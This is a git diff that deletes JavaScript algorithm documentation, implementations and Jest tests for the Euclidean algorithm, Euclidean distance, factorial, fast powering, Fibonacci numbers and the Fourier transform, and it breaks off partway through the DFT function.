-import euclideanAlgorithmIterative from '../euclideanAlgorithmIterative';
-describe('euclideanAlgorithmIterative', () => {
-    it('should calculate GCD iteratively', () => {
-        expect(euclideanAlgorithmIterative(0, 0)).toBe(0);
-        expect(euclideanAlgorithmIterative(2, 0)).toBe(2);
-        expect(euclideanAlgorithmIterative(0, 2)).toBe(2);
-        expect(euclideanAlgorithmIterative(1, 2)).toBe(1);
-        expect(euclideanAlgorithmIterative(2, 1)).toBe(1);
-        expect(euclideanAlgorithmIterative(6, 6)).toBe(6);
-        expect(euclideanAlgorithmIterative(2, 4)).toBe(2);
-        expect(euclideanAlgorithmIterative(4, 2)).toBe(2);
-        expect(euclideanAlgorithmIterative(12, 4)).toBe(4);
-        expect(euclideanAlgorithmIterative(4, 12)).toBe(4);
-        expect(euclideanAlgorithmIterative(5, 13)).toBe(1);
-        expect(euclideanAlgorithmIterative(27, 13)).toBe(1);
-        expect(euclideanAlgorithmIterative(24, 60)).toBe(12);
-        expect(euclideanAlgorithmIterative(60, 24)).toBe(12);
-        expect(euclideanAlgorithmIterative(252, 105)).toBe(21);
-        expect(euclideanAlgorithmIterative(105, 252)).toBe(21);
-        expect(euclideanAlgorithmIterative(1071, 462)).toBe(21);
-        expect(euclideanAlgorithmIterative(462, 1071)).toBe(21);
-        expect(euclideanAlgorithmIterative(462, -1071)).toBe(21);
-        expect(euclideanAlgorithmIterative(-462, -1071)).toBe(21);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/README.md b/docs/content/DS_ALGO/algorithms/math/euclidean-distance/README.md
deleted file mode 100644
index 8925da13ec..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/README.md
+++ /dev/null
@@ -1,36 +0,0 @@
-# Euclidean Distance
-
-In mathematics, the **Euclidean distance** between two points in Euclidean space is the length of a line segment between the two points. It can be calculated from the Cartesian coordinates of the points using the Pythagorean theorem, therefore occasionally being called the Pythagorean distance.
-
-![Euclidean distance between two points](https://upload.wikimedia.org/wikipedia/commons/5/55/Euclidean_distance_2d.svg)
-
-## Distance formulas
-
-### One dimension
-
-The distance between any two points on the real line is the absolute value of the numerical difference of their coordinates
-
-![One dimension formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/7d75418dbec9482dbcb70f9063ad66e9cf7b5db9)
-
-### Two dimensions
-
-![Two dimensions formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/9c0157084fd89f5f3d462efeedc47d3d7aa0b773)
-
-### Higher dimensions
-
-In three dimensions, for points given by their Cartesian coordinates, the distance is
-
-![Three dimensions formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/d1d13a40a7b203b455ae6d4be8b3cce898bda625)
-
-Example: the distance between the two points `(8,2,6)` and `(3,5,7)`:
-
-![3-dimension example](https://www.mathsisfun.com/algebra/images/dist-2-points-3d.svg)
-
-In general, for points given by Cartesian coordinates in `n`-dimensional Euclidean space, the distance is
-
-![n-dimensional formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/a0ef4fe055b2a51b4cca43a05e5d1cd93f758dcc)
-
-## References
-
--   [Euclidean Distance on MathIsFun](https://www.mathsisfun.com/algebra/distance-2-points.html)
--   [Euclidean Distance on Wikipedia](https://en.wikipedia.org/wiki/Euclidean_distance)
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/__tests__/euclideanDistance.test.js b/docs/content/DS_ALGO/algorithms/math/euclidean-distance/__tests__/euclideanDistance.test.js
deleted file mode 100644
index c7b985d5db..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/__tests__/euclideanDistance.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import euclideanDistance from '../euclideanDistance';
-describe('euclideanDistance', () => {
-    it('should calculate euclidean distance between vectors', () => {
-        expect(euclideanDistance([[1]], [[2]])).toEqual(1);
-        expect(euclideanDistance([[2]], [[1]])).toEqual(1);
-        expect(euclideanDistance([[5, 8]], [[7, 3]])).toEqual(5.39);
-        expect(euclideanDistance([[5], [8]], [[7], [3]])).toEqual(5.39);
-        expect(euclideanDistance([[8, 2, 6]], [[3, 5, 7]])).toEqual(5.92);
-        expect(euclideanDistance([[8], [2], [6]], [[3], [5], [7]])).toEqual(5.92);
-        expect(euclideanDistance([[[8]], [[2]], [[6]]], [[[3]], [[5]], [[7]]])).toEqual(5.92);
-    });
-    it('should throw an error in case if two matrices are of different shapes', () => {
-        expect(() => euclideanDistance([[1]], [[[2]]])).toThrowError('Matrices have different dimensions');
-        expect(() => euclideanDistance([[1]], [[2, 3]])).toThrowError('Matrices have different shapes');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/euclideanDistance.js b/docs/content/DS_ALGO/algorithms/math/euclidean-distance/euclideanDistance.js
deleted file mode 100644
index bc53520b48..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-distance/euclideanDistance.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/**
- * @typedef {import('../matrix/Matrix.js').Matrix} Matrix
- */
-import * as mtrx from '../matrix/Matrix';
-/**
- * Calculates the euclidean distance between 2 matrices.
- *
- * @param {Matrix} a
- * @param {Matrix} b
- * @returns {number}
- * @trows {Error}
- */
-const euclideanDistance = (a, b) => {
-    mtrx.validateSameShape(a, b);
-    let squaresTotal = 0;
-    mtrx.walk(a, (indices, aCellValue) => {
-        const bCellValue = mtrx.getCellAtIndex(b, indices);
-        squaresTotal += (aCellValue - bCellValue) ** 2;
-    });
-    return Number(Math.sqrt(squaresTotal).toFixed(2));
-};
-export default euclideanDistance;
diff --git a/docs/content/DS_ALGO/algorithms/math/factorial/README.md b/docs/content/DS_ALGO/algorithms/math/factorial/README.md
deleted file mode 100644
index b7ab38e6c4..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/factorial/README.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# Factorial
-
-In mathematics, the factorial of a non-negative integer `n`,
-denoted by `n!`, is the product of all positive integers less
-than or equal to `n`. For example:
-
-```
-5! = 5 * 4 * 3 * 2 * 1 = 120
-```
-
-| n   |                n! |
-| --- | ----------------: |
-| 0   |                 1 |
-| 1   |                 1 |
-| 2   |                 2 |
-| 3   |                 6 |
-| 4   |                24 |
-| 5   |               120 |
-| 6   |               720 |
-| 7   |             5 040 |
-| 8   |            40 320 |
-| 9   |           362 880 |
-| 10  |         3 628 800 |
-| 11  |        39 916 800 |
-| 12  |       479 001 600 |
-| 13  |     6 227 020 800 |
-| 14  |    87 178 291 200 |
-| 15  | 1 307 674 368 000 |
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Factorial)
diff --git a/docs/content/DS_ALGO/algorithms/math/factorial/factorial.js b/docs/content/DS_ALGO/algorithms/math/factorial/factorial.js
deleted file mode 100644
index 0dd45e7870..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/factorial/factorial.js
+++ /dev/null
@@ -1,11 +0,0 @@
-/**
- * @param {number} number
- * @return {number}
- */
-export default function factorial(number) {
-    let result = 1;
-    for (let i = 2; i <= number; i += 1) {
-        result *= i;
-    }
-    return result;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/factorial/factorialRecursive.js b/docs/content/DS_ALGO/algorithms/math/factorial/factorialRecursive.js
deleted file mode 100644
index 64f80acdab..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/factorial/factorialRecursive.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} number
- * @return {number}
- */
-export default function factorialRecursive(number) {
-    return number > 1 ? number * factorialRecursive(number - 1) : 1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/factorial/test/factorial.test.js b/docs/content/DS_ALGO/algorithms/math/factorial/test/factorial.test.js
deleted file mode 100644
index d764d30920..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/factorial/test/factorial.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import factorial from '../factorial';
-describe('factorial', () => {
-    it('should calculate factorial', () => {
-        expect(factorial(0)).toBe(1);
-        expect(factorial(1)).toBe(1);
-        expect(factorial(5)).toBe(120);
-        expect(factorial(8)).toBe(40320);
-        expect(factorial(10)).toBe(3628800);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/factorial/test/factorialRecursive.test.js b/docs/content/DS_ALGO/algorithms/math/factorial/test/factorialRecursive.test.js
deleted file mode 100644
index 21566bae18..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/factorial/test/factorialRecursive.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import factorialRecursive from '../factorialRecursive';
-describe('factorialRecursive', () => {
-    it('should calculate factorial', () => {
-        expect(factorialRecursive(0)).toBe(1);
-        expect(factorialRecursive(1)).toBe(1);
-        expect(factorialRecursive(5)).toBe(120);
-        expect(factorialRecursive(8)).toBe(40320);
-        expect(factorialRecursive(10)).toBe(3628800);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fast-powering/README.md b/docs/content/DS_ALGO/algorithms/math/fast-powering/README.md
deleted file mode 100644
index fc0e4b550e..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fast-powering/README.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# Fast Powering Algorithm
-
-[français](README.fr-FR.md).
-
-**The power of a number** says how many times to use the number in a
-multiplication.
-
-It is written as a small number to the right and above the base number.
-
-![Power](https://www.mathsisfun.com/algebra/images/exponent-8-2.svg)
-
-## Naive Algorithm Complexity
-
-How to find `a` raised to the power `b`?
-
-We multiply `a` to itself, `b` times. That
-is, `a^b = a * a * a * ... * a` (`b` occurrences of `a`).
-
-This operation will take `O(n)` time since we need to do multiplication operation
-exactly `n` times.
-
-## Fast Power Algorithm
-
-Can we do better than naive algorithm does? Yes we may solve the task of
-powering in `O(log(n))` time.
-
-The algorithm uses divide and conquer approach to compute power. Currently the
-algorithm work for two positive integers `X` and `Y`.
-
-The idea behind the algorithm is based on the fact that:
-
-For **even** `Y`:
-
-```text
-X^Y = X^(Y/2) * X^(Y/2)
-```
-
-For **odd** `Y`:
-
-```text
-X^Y = X^(Y//2) * X^(Y//2) * X
-where Y//2 is result of division of Y by 2 without reminder.
-```
-
-**For example**
-
-```text
-2^4 = (2 * 2) * (2 * 2) = (2^2) * (2^2)
-```
-
-```text
-2^5 = (2 * 2) * (2 * 2) * 2 = (2^2) * (2^2) * (2)
-```
-
-Now, since on each step we need to compute the same `X^(Y/2)` power twice we may optimise
-it by saving it to some intermediate variable to avoid its duplicate calculation.
-
-**Time Complexity**
-
-Since each iteration we split the power by half then we will call function
-recursively `log(n)` times. This the time complexity of the algorithm is reduced to:
-
-```text
-O(log(n))
-```
-
-## References
-
--   [YouTube](https://www.youtube.com/watch?v=LUWavfN9zEo&index=80&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&t=0s)
--   [Wikipedia](https://en.wikipedia.org/wiki/Exponentiation_by_squaring)
diff --git a/docs/content/DS_ALGO/algorithms/math/fast-powering/fastPowering.js b/docs/content/DS_ALGO/algorithms/math/fast-powering/fastPowering.js
deleted file mode 100644
index a89ca8f768..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fast-powering/fastPowering.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/**
- * Fast Powering Algorithm.
- * Recursive implementation to compute power.
- *
- * Complexity: log(n)
- *
- * @param {number} base - Number that will be raised to the power.
- * @param {number} power - The power that number will be raised to.
- * @return {number}
- */
-export default function fastPowering(base, power) {
-    if (power === 0) {
-        // Anything that is raised to the power of zero is 1.
-        return 1;
-    }
-    if (power % 2 === 0) {
-        // If the power is even...
-        // we may recursively redefine the result via twice smaller powers:
-        // x^8 = x^4 * x^4.
-        const multiplier = fastPowering(base, power / 2);
-        return multiplier * multiplier;
-    }
-    // If the power is odd...
-    // we may recursively redefine the result via twice smaller powers:
-    // x^9 = x^4 * x^4 * x.
-    const multiplier = fastPowering(base, Math.floor(power / 2));
-    return multiplier * multiplier * base;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fast-powering/test/fastPowering.test.js b/docs/content/DS_ALGO/algorithms/math/fast-powering/test/fastPowering.test.js
deleted file mode 100644
index e0e1a96a6c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fast-powering/test/fastPowering.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import fastPowering from '../fastPowering';
-describe('fastPowering', () => {
-    it('should compute power in log(n) time', () => {
-        expect(fastPowering(1, 1)).toBe(1);
-        expect(fastPowering(2, 0)).toBe(1);
-        expect(fastPowering(2, 2)).toBe(4);
-        expect(fastPowering(2, 3)).toBe(8);
-        expect(fastPowering(2, 4)).toBe(16);
-        expect(fastPowering(2, 5)).toBe(32);
-        expect(fastPowering(2, 6)).toBe(64);
-        expect(fastPowering(2, 7)).toBe(128);
-        expect(fastPowering(2, 8)).toBe(256);
-        expect(fastPowering(3, 4)).toBe(81);
-        expect(fastPowering(190, 2)).toBe(36100);
-        expect(fastPowering(11, 5)).toBe(161051);
-        expect(fastPowering(13, 11)).toBe(1792160394037);
-        expect(fastPowering(9, 16)).toBe(1853020188851841);
-        expect(fastPowering(16, 16)).toBe(18446744073709552000);
-        expect(fastPowering(7, 21)).toBe(558545864083284000);
-        expect(fastPowering(100, 9)).toBe(1000000000000000000);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/README.md b/docs/content/DS_ALGO/algorithms/math/fibonacci/README.md
deleted file mode 100644
index a3c683458e..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/README.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Fibonacci Number
-
-[français](README.fr-FR.md),
-
-In mathematics, the Fibonacci numbers are the numbers in the following
-integer sequence, called the Fibonacci sequence, and characterized by
-the fact that every number after the first two is the sum of the two
-preceding ones:
-
-`0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ...`
-
-A tiling with squares whose side lengths are successive Fibonacci numbers
-
-![Fibonacci](https://upload.wikimedia.org/wikipedia/commons/d/db/34%2A21-FibonacciBlocks.png)
-
-The Fibonacci spiral: an approximation of the golden spiral created by drawing circular arcs connecting the opposite corners of squares in the Fibonacci tiling;[4] this one uses squares of sizes 1, 1, 2, 3, 5, 8, 13 and 21.
-
-![Fibonacci Spiral](https://upload.wikimedia.org/wikipedia/commons/2/2e/FibonacciSpiral.svg)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Fibonacci_number)
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacci.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacci.js
deleted file mode 100644
index d3c100a9c2..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacci.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/**
- * Return a fibonacci sequence as an array.
- *
- * @param n
- * @return {number[]}
- */
-export default function fibonacci(n) {
-    const fibSequence = [1];
-    let currentValue = 1;
-    let previousValue = 0;
-    if (n === 1) {
-        return fibSequence;
-    }
-    let iterationsCounter = n - 1;
-    while (iterationsCounter) {
-        currentValue += previousValue;
-        previousValue = currentValue - previousValue;
-        fibSequence.push(currentValue);
-        iterationsCounter -= 1;
-    }
-    return fibSequence;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNth.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNth.js
deleted file mode 100644
index e2eaa473d3..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNth.js
+++ /dev/null
@@ -1,20 +0,0 @@
-/**
- * Calculate fibonacci number at specific position using Dynamic Programming approach.
- *
- * @param n
- * @return {number}
- */
-export default function fibonacciNth(n) {
-    let currentValue = 1;
-    let previousValue = 0;
-    if (n === 1) {
-        return 1;
-    }
-    let iterationsCounter = n - 1;
-    while (iterationsCounter) {
-        currentValue += previousValue;
-        previousValue = currentValue - previousValue;
-        iterationsCounter -= 1;
-    }
-    return currentValue;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNthClosedForm.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNthClosedForm.js
deleted file mode 100644
index 3fc2fe69fa..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/fibonacciNthClosedForm.js
+++ /dev/null
@@ -1,20 +0,0 @@
-/**
- * Calculate fibonacci number at specific position using closed form function (Binet's formula).
- * @see: https://en.wikipedia.org/wiki/Fibonacci_number#Closed-form_expression
- *
- * @param {number} position - Position number of fibonacci sequence (must be number from 1 to 75).
- * @return {number}
- */
-export default function fibonacciClosedForm(position) {
-    const topMaxValidPosition = 70;
-    // Check that position is valid.
-    if (position < 1 || position > topMaxValidPosition) {
-        throw new Error(`Can't handle position smaller than 1 or greater than ${topMaxValidPosition}`);
-    }
-    // Calculate √5 to re-use it in further formulas.
-    const sqrt5 = Math.sqrt(5);
-    // Calculate φ constant (≈ 1.61803).
-    const phi = (1 + sqrt5) / 2;
-    // Calculate fibonacci number using Binet's formula.
-    return Math.floor(phi ** position / sqrt5 + 0.5);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacci.test.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacci.test.js
deleted file mode 100644
index b726ed6c52..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacci.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import fibonacci from '../fibonacci';
-describe('fibonacci', () => {
-    it('should calculate fibonacci correctly', () => {
-        expect(fibonacci(1)).toEqual([1]);
-        expect(fibonacci(2)).toEqual([1, 1]);
-        expect(fibonacci(3)).toEqual([1, 1, 2]);
-        expect(fibonacci(4)).toEqual([1, 1, 2, 3]);
-        expect(fibonacci(5)).toEqual([1, 1, 2, 3, 5]);
-        expect(fibonacci(6)).toEqual([1, 1, 2, 3, 5, 8]);
-        expect(fibonacci(7)).toEqual([1, 1, 2, 3, 5, 8, 13]);
-        expect(fibonacci(8)).toEqual([1, 1, 2, 3, 5, 8, 13, 21]);
-        expect(fibonacci(9)).toEqual([1, 1, 2, 3, 5, 8, 13, 21, 34]);
-        expect(fibonacci(10)).toEqual([1, 1, 2, 3, 5, 8, 13, 21, 34, 55]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNth.test.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNth.test.js
deleted file mode 100644
index b41786b7e1..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNth.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import fibonacciNth from '../fibonacciNth';
-describe('fibonacciNth', () => {
-    it('should calculate fibonacci correctly', () => {
-        expect(fibonacciNth(1)).toBe(1);
-        expect(fibonacciNth(2)).toBe(1);
-        expect(fibonacciNth(3)).toBe(2);
-        expect(fibonacciNth(4)).toBe(3);
-        expect(fibonacciNth(5)).toBe(5);
-        expect(fibonacciNth(6)).toBe(8);
-        expect(fibonacciNth(7)).toBe(13);
-        expect(fibonacciNth(8)).toBe(21);
-        expect(fibonacciNth(20)).toBe(6765);
-        expect(fibonacciNth(30)).toBe(832040);
-        expect(fibonacciNth(50)).toBe(12586269025);
-        expect(fibonacciNth(70)).toBe(190392490709135);
-        expect(fibonacciNth(71)).toBe(308061521170129);
-        expect(fibonacciNth(72)).toBe(498454011879264);
-        expect(fibonacciNth(73)).toBe(806515533049393);
-        expect(fibonacciNth(74)).toBe(1304969544928657);
-        expect(fibonacciNth(75)).toBe(2111485077978050);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNthClosedForm.test.js b/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNthClosedForm.test.js
deleted file mode 100644
index 8be5130363..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fibonacci/test/fibonacciNthClosedForm.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import fibonacciNthClosedForm from '../fibonacciNthClosedForm';
-describe('fibonacciClosedForm', () => {
-    it('should throw an error when trying to calculate fibonacci for not allowed positions', () => {
-        const calculateFibonacciForNotAllowedPosition = () => {
-            fibonacciNthClosedForm(76);
-        };
-        expect(calculateFibonacciForNotAllowedPosition).toThrow();
-    });
-    it('should calculate fibonacci correctly', () => {
-        expect(fibonacciNthClosedForm(1)).toBe(1);
-        expect(fibonacciNthClosedForm(2)).toBe(1);
-        expect(fibonacciNthClosedForm(3)).toBe(2);
-        expect(fibonacciNthClosedForm(4)).toBe(3);
-        expect(fibonacciNthClosedForm(5)).toBe(5);
-        expect(fibonacciNthClosedForm(6)).toBe(8);
-        expect(fibonacciNthClosedForm(7)).toBe(13);
-        expect(fibonacciNthClosedForm(8)).toBe(21);
-        expect(fibonacciNthClosedForm(20)).toBe(6765);
-        expect(fibonacciNthClosedForm(30)).toBe(832040);
-        expect(fibonacciNthClosedForm(50)).toBe(12586269025);
-        expect(fibonacciNthClosedForm(70)).toBe(190392490709135);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/README.md b/docs/content/DS_ALGO/algorithms/math/fourier-transform/README.md
deleted file mode 100644
index 86e86cc5d1..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/README.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# Fourier Transform
-
-[français](README.fr-FR.md).
-
-## Definitions
-
-The **Fourier Transform** (**FT**) decomposes a function of time (a signal) into
-the frequencies that make it up, in a way similar to how a musical chord can be
-expressed as the frequencies (or pitches) of its constituent notes.
-
-The **Discrete Fourier Transform** (**DFT**) converts a finite sequence of
-equally-spaced samples of a function into a same-length sequence of
-equally-spaced samples of the discrete-time Fourier transform (DTFT), which is a
-complex-valued function of frequency. The interval at which the DTFT is sampled
-is the reciprocal of the duration of the input sequence. An inverse DFT is a
-Fourier series, using the DTFT samples as coefficients of complex sinusoids at
-the corresponding DTFT frequencies. It has the same sample-values as the original
-input sequence. The DFT is therefore said to be a frequency domain representation
-of the original input sequence. If the original sequence spans all the non-zero
-values of a function, its DTFT is continuous (and periodic), and the DFT provides
-discrete samples of one cycle. If the original sequence is one cycle of a periodic
-function, the DFT provides all the non-zero values of one DTFT cycle.
-
-The Discrete Fourier transform transforms a sequence of `N` complex numbers:
-
-{x<sub>n</sub>} = x<sub>0</sub>, x<sub>1</sub>, x<sub>2</sub> ..., x<sub>N-1</sub>
-
-into another sequence of complex numbers:
-
-{X<sub>k</sub>} = X<sub>0</sub>, X<sub>1</sub>, X<sub>2</sub> ..., X<sub>N-1</sub>
-
-which is defined by:
-
-![DFT](https://wikimedia.org/api/rest_v1/media/math/render/svg/1af0a78dc50bbf118ab6bd4c4dcc3c4ff8502223)
-
-The **Discrete-Time Fourier Transform** (**DTFT**) is a form of Fourier analysis
-that is applicable to the uniformly-spaced samples of a continuous function. The
-term discrete-time refers to the fact that the transform operates on discrete data
-(samples) whose interval often has units of time. From only the samples, it
-produces a function of frequency that is a periodic summation of the continuous
-Fourier transform of the original continuous function.
-
-A **Fast Fourier Transform** (**FFT**) is an algorithm that samples a signal over
-a period of time (or space) and divides it into its frequency components. These
-components are single sinusoidal oscillations at distinct frequencies each with
-their own amplitude and phase.
-
-This transformation is illustrated in Diagram below. Over the time period measured
-in the diagram, the signal contains 3 distinct dominant frequencies.
-
-View of a signal in the time and frequency domain:
-
-![FFT](https://upload.wikimedia.org/wikipedia/commons/6/61/FFT-Time-Frequency-View.png)
-
-An FFT algorithm computes the discrete Fourier transform (DFT) of a sequence, or
-its inverse (IFFT). Fourier analysis converts a signal from its original domain
-to a representation in the frequency domain and vice versa. An FFT rapidly
-computes such transformations by factorizing the DFT matrix into a product of
-sparse (mostly zero) factors. As a result, it manages to reduce the complexity of
-computing the DFT from O(n<sup>2</sup>), which arises if one simply applies the
-definition of DFT, to O(n log n), where n is the data size.
-
-Here a discrete Fourier analysis of a sum of cosine waves at 10, 20, 30, 40,
-and 50 Hz:
-
-![FFT](https://upload.wikimedia.org/wikipedia/commons/6/64/FFT_of_Cosine_Summation_Function.png)
-
-## Explanation
-
-The Fourier Transform is one of deepest insights ever made. Unfortunately, the
-meaning is buried within dense equations:
-
-![](https://betterexplained.com/wp-content/plugins/wp-latexrender/pictures/45c088dbb767150fc0bacfeb49dd49e5.png)
-
-and
-
-![](https://betterexplained.com/wp-content/plugins/wp-latexrender/pictures/faeb9c5bf2e60add63ae4a70b293c7b4.png)
-
-Rather than jumping into the symbols, let's experience the key idea firsthand. Here's a plain-English metaphor:
-
--   _What does the Fourier Transform do?_ Given a smoothie, it finds the recipe.
--   _How?_ Run the smoothie through filters to extract each ingredient.
--   _Why?_ Recipes are easier to analyze, compare, and modify than the smoothie itself.
--   _How do we get the smoothie back?_ Blend the ingredients.
-
-**Think With Circles, Not Just Sinusoids**
-
-The Fourier Transform is about circular paths (not 1-d sinusoids) and Euler's
-formula is a clever way to generate one:
-
-![](https://betterexplained.com/wp-content/uploads/euler/equal_paths.png)
-
-Must we use imaginary exponents to move in a circle? Nope. But it's convenient
-and compact. And sure, we can describe our path as coordinated motion in two
-dimensions (real and imaginary), but don't forget the big picture: we're just
-moving in a circle.
-
-**Discovering The Full Transform**
-
-The big insight: our signal is just a bunch of time spikes! If we merge the
-recipes for each time spike, we should get the recipe for the full signal.
-
-The Fourier Transform builds the recipe frequency-by-frequency:
-
-![](https://betterexplained.com/wp-content/uploads/images/fourier-explained-20121219-224649.png)
-
-A few notes:
-
--   N = number of time samples we have
--   n = current sample we're considering (0 ... N-1)
--   x<sub>n</sub> = value of the signal at time n
--   k = current frequency we're considering (0 Hertz up to N-1 Hertz)
--   X<sub>k</sub> = amount of frequency k in the signal (amplitude and phase, a complex number)
--   The 1/N factor is usually moved to the reverse transform (going from frequencies back to time). This is allowed, though I prefer 1/N in the forward transform since it gives the actual sizes for the time spikes. You can get wild and even use 1/sqrt(N) on both transforms (going forward and back creates the 1/N factor).
--   n/N is the percent of the time we've gone through. 2 _ pi _ k is our speed in radians / sec. e^-ix is our backwards-moving circular path. The combination is how far we've moved, for this speed and time.
--   The raw equations for the Fourier Transform just say "add the complex numbers". Many programming languages cannot handle complex numbers directly, so you convert everything to rectangular coordinates and add those.
-
-Stuart Riffle has a great interpretation of the Fourier Transform:
-
-![](https://betterexplained.com/wp-content/uploads/images/DerivedDFT.png)
-
-## References
-
--   [An Interactive Guide To The Fourier Transform](https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/)
--   [DFT on YouTube by Better Explained](https://www.youtube.com/watch?v=iN0VG9N2q0U&t=0s&index=77&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [FT on YouTube by 3Blue1Brown](https://www.youtube.com/watch?v=spUNpyF58BY&t=0s&index=76&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [FFT on YouTube by Simon Xu](https://www.youtube.com/watch?v=htCj9exbGo0&index=78&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&t=0s)
--   Wikipedia
-    -   [FT](https://en.wikipedia.org/wiki/Fourier_transform)
-    -   [DFT](https://www.wikiwand.com/en/Discrete_Fourier_transform)
-    -   [DTFT](https://en.wikipedia.org/wiki/Discrete-time_Fourier_transform)
-    -   [FFT](https://www.wikiwand.com/en/Fast_Fourier_transform)
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/discreteFourierTransform.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/discreteFourierTransform.js
deleted file mode 100644
index 00d36af72c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/discreteFourierTransform.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import ComplexNumber from '../complex-number/ComplexNumber';
-const CLOSE_TO_ZERO_THRESHOLD = 1e-10;
-/**
- * Discrete Fourier Transform (DFT): time to frequencies.
- *
- * Time complexity: O(N^2)
- *
- * @param {number[]} inputAmplitudes - Input signal amplitudes over time (complex
- * numbers with real parts only).
- * @param {number} zeroThreshold - Threshold that is used to convert real and imaginary numbers
- * to zero in case if they are smaller then this.
- *
- * @return {ComplexNumber[]} - Array of complex number. Each of the number represents the frequency
- * or signal. All signals together will form input signal over discrete time periods. Each signal's
- * complex number has radius (amplitude) and phase (angle) in polar form that describes the signal.
- *
- * @see https://gist.github.com/anonymous/129d477ddb1c8025c9ac
- * @see https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/
- */
-export default function dft(inputAmplitudes, zeroThreshold = CLOSE_TO_ZERO_THRESHOLD) {
-    const N = inputAmplitudes.length;
-    const signals = [];
-    // Go through every discrete frequency.
-    for (let frequency = 0; frequency < N; frequency += 1) {
-        // Compound signal at current frequency that will ultimately
-        // take part in forming input amplitudes.
-        let frequencySignal = new ComplexNumber();
-        // Go through every discrete point in time.
-        for (let timer = 0; timer < N; timer += 1) {
-            const currentAmplitude = inputAmplitudes[timer];
-            // Calculate rotation angle.
-            const rotationAngle = -1 * (2 * Math.PI) * frequency * (timer / N);
-            // Remember that e^ix = cos(x) + i * sin(x);
-            const dataPointContribution = new ComplexNumber({
-                re: Math.cos(rotationAngle),
-                im: Math.sin(rotationAngle)
-            }).multiply(currentAmplitude);
-            // Add this data point's contribution.
-            frequencySignal = frequencySignal.add(dataPointContribution);
-        }
-        // Close to zero? You're zero.
-        if (Math.abs(frequencySignal.re) < zeroThreshold) {
-            frequencySignal.re = 0;
-        }
-        if (Math.abs(frequencySignal.im) < zeroThreshold) {
-            frequencySignal.im = 0;
-        }
-        // Average contribution at this frequency.
-        // The 1/N factor is usually moved to the reverse transform (going from frequencies
-        // back to time). This is allowed, though it would be nice to have 1/N in the forward
-        // transform since it gives the actual sizes for the time spikes.
